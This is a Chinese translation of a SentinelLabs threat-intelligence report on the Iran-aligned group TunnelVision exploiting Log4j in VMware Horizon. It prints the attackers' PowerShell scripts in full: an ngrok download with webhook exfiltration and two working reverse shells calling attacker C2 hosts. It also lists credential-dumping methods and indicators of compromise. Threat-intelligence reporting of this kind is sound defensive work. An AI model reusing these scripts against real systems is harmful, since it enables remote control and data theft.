譯者:知道創宇404實驗室翻譯組
原文鏈接:https://www.sentinelone.com/labs/log4j2-in-the-wild-iranian-aligned-threat-actor-tunnelvision-actively-exploiting-vmware-horizon/

摘要

  • SentinelLabs 一直在追蹤一個與伊朗結盟的攻擊者,他們在中東和美國活動。
  • 由于攻擊者對隧道工具的嚴重依賴,以及它選擇廣泛部署這些工具的獨特方式,我們把這個攻擊組織稱為 TunnelVision。
  • 就像最近在該地區活動的其他伊朗黑客一樣,TunnelVision 的活動與部署勒索軟件有關,因而他們算是潛在的破壞性的攻擊者。

概覽

TunnelVision 攻擊特點在于廣泛利用目標地區的1-day漏洞。在我們跟蹤這個攻擊者的過程中,我們觀察到了針對 Fortinet FortiOS (CVE-2018-13379)、 Microsoft Exchange (ProxyShell)和最近的 Log4Shell 的廣泛利用。在幾乎所有這些案例中,攻擊者都以一種獨特的方式部署了一個隧道工具。該組織使用的最常用的部署隧道工具是快速反向代理客戶機(FRPC)和 Plink。

TunnelVision 的攻擊在某種程度上與黑客組織Phosphorus有關,這一點在歸因部分有進一步的討論。

在這篇文章中,我們重點介紹了我們最近從 TunnelVision 操作者那里觀察到的一些活動,這些活動主要圍繞利用 VMware Horizon Log4j 漏洞展開。

VMware Horizon 利用

VMware Horizon中對Log4j的利用的特點是,VMware產品的Tomcat服務(C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe)產生了一個惡意進程。

TunnelVision 攻擊者一直在積極地利用該漏洞來運行惡意的 PowerShell 命令、部署后門、創建后門用戶、獲取憑證和執行橫向移動。

通常,黑客最初利用 Log4j 漏洞直接運行 PowerShell 命令,然后通過 PS 反向 shell 運行更多命令,通過 Tomcat 進程執行。

PowerShell 命令

TunnelVision 操作者利用 VMware Horizon 中的 Log4j 漏洞來運行 PowerShell 命令,通過 webhook 將輸出發送回來。在這個例子中,攻擊者試圖將ngrok下載到一個被感染的 VMware Horizon 服務器:

try{
    (New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe");
    Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
    $a=iex 'dir "c://Users//public//"' | Out-String;
    iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
    iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}

在整個活動中,我們觀察到多個合法服務。如果一個環境被 TunnelVision 破壞了,那么尋找這些合法公共服務的出站連接可能會有所幫助:

  • transfer.sh
  • pastebin.com
  • webhook.site
  • ufile.io
  • raw.githubusercontent.com

反彈 Shell # 1

$c = ""
$p = ""
$r = ""
$u = "hxxps://www.microsoft-updateserver.cf/gadfTs55sghsSSS"
$wc = New-Object System.Net.WebClient
$li = (Get-NetIPAddress -AddressFamily IPv4).IPAddress[0];
$c = "whoami"
$c = 'Write-Host " ";'+$c
$r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
$ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
while($true)
{
    $c = $wc.DownloadString("$u/$env:COMPUTERNAME-$li/123.txt")
    $c = 'Write-Host " ";'+$c
    if($c -ne $p)
    {
        $r = &(gcm *ke-e*) $c | Out-String > "c:\programdata\$env:COMPUTERNAME-$li"
        $p = $c
        $ur = $wc.UploadFile("$u/phppost.php" , "c:\programdata\$env:COMPUTERNAME-$li")
    }
    sleep 3
}

反向Shell #1在過去被TunnelVision操作者使用(7feb4d36a33f43d7a1bb254e425ccd458d3ea921),利用了不同的C2服務器:“hxxp://google.onedriver-srv.ml/gadfTs55sghsSSS”。這個C2在分析TunnelVision活動的幾篇文章中被引用。

在整個活動中,攻擊者利用了另一個域,service-management[.]tk, 用來存放惡意的有效載荷。根據 VirusTotal 的說法,這個域還用于托管一個包含自定義后門(624278ed3019a42131a3a3f6e0e2a8c8b438)的 zip 文件(d28e07d2722f771bd31c9ff90b9c64d4a188435a)。

后門植入一個額外的可執行文件(e76e9237c49e7598f2b3f94a2b52b01002f8e862)到 %ProgramData%\Installed Packages\InteropServices.exe 并將其注冊為名為“ InteropServices”的服務。

植入的可執行文件包含上面描述的反向 shell 的模糊版本,向同一個 c2服務器(www[.]microsoft-updateserver[.]cf)發出信號。盡管它沒有加密,但是它被去模糊化,并且以某種類似于 PowerLess (該組使用的另一個后門)執行其 PowerShell 有效負載的方式執行。

反向 Shell # 2

$hst = "51.89.135.142";
$prt = 443;
function watcher() {;
    $limit = (Get - Random  - Minimum 3  - Maximum 7);
    $stopWatch = New - Object  - TypeName System.Diagnostics.Stopwatch;
    $timeSpan = New - TimeSpan  - Seconds $limit;
    $stopWatch.Start();
    while ((($stopWatch.Elapsed).TotalSeconds  - lt $timeSpan.TotalSeconds) )  {};
    $stopWatch.Stop();
};
watcher;
$arr = New - Object int[] 500;
for ($i = 0;
$i  - lt 99;
$i++) {;
    $arr[$i] = (Get - Random  - Minimum 1  - Maximum 25);
};
if ($arr[0]  - gt 0)  {;
    $valksdhfg = New - Object System.Net.Sockets.TCPClient($hst, $prt);
    $banljsdfn = $valksdhfg.GetStream();
    [byte[]]$bytes = 0..65535|% {
        0
    };
    while (($i = $banljsdfn.Read($bytes, 0, $bytes.Length))  - ne 0)  {;
        $lkjnsdffaa = (New - Object  - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
        $nsdfgsahjxx = (&(gcm('*ke-exp*')) $lkjnsdffaa 2 > &1 | Out - String );
        $nsdfgsahjxx2 = $nsdfgsahjxx  +  (pwd).Path  +  "> ";
        $sendbyte = ([text.encoding]::ASCII).GetBytes($nsdfgsahjxx2);
        $banljsdfn.Write($sendbyte, 0, $sendbyte.Length);
        $banljsdfn.Flush();
        watcher
    };
    $valksdhfg.Close();
};

我們觀察到的大多數“在線”活動都是通過 PowerShell 后門執行的。它似乎是公開的 PowerShell 一行程序的一個修改版本。

這些活動包括:

  • 執行偵察命令
  • 創建后門用戶并將其添加到管理員組
  • 使用 Procdump、 SAM 蜂窩轉儲和 comsvcs MiniDump 獲取憑證
  • 下載和執行隧道工具,包括 Plink 和 Ngrok,用于隧道 RDP 通信
  • 利用 VMware Horizon NodeJS component component [1,2]執行一個反向 shell。
  • 內部子網RDP掃描使用一個公開可用的端口掃描腳本

在整個活動中,攻擊者使用了一個名為“protections20”的帳戶的github存儲庫“VmWareHorizon”。

歸因

TunnelVision 的活動之前已經討論過,有很多供應商對其進行跟蹤署名,比如 Phosphorus (微軟) ,以及令人困惑的是,竟然還有 Charming Kitten 或 Nemesis Kitten(CrowdStrike)。

這種疑惑是因為微軟認為Phosphorous是一個單一的組織,但它與 CrowdStrike 區分為兩個的攻擊者—— Charming Kitten 和Nemesis Kitten的活動重疊。

我們以“ TunnelVision”的名稱分別跟蹤這個黑客組織。這并不意味著我們認為它們與上述組織無關,只是目前沒有足夠的數據將它們視為與上述任何一個組織。

IoCs

TYPE INDICATOR NOTES
Domain www[.]microsoft-updateserver[.]cf Command and Control (C2) Server
Domain www[.]service-management[.]tk Payload server
IP 51.89.169[.]198(ZoomEye搜索結果 Command and Control (C2) Server
IP 142.44.251[.]77(ZoomEye搜索結果 Command and Control (C2) Server
IP 51.89.135[.]142(ZoomEye搜索結果 Command and Control (C2) Server
IP 51.89.190[.]128(ZoomEye搜索結果 Command and Control (C2) Server
IP 51.89.178[.]210(ZoomEye搜索結果 Command and Control (C2) Server, Tunneling Server
IP 142.44.135[.]86(ZoomEye搜索結果 Tunneling Server
IP 182.54.217[.]2(ZoomEye搜索結果 Payload Server
Github Account https://github.com/protections20 Account utilized to host payloads

Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1834/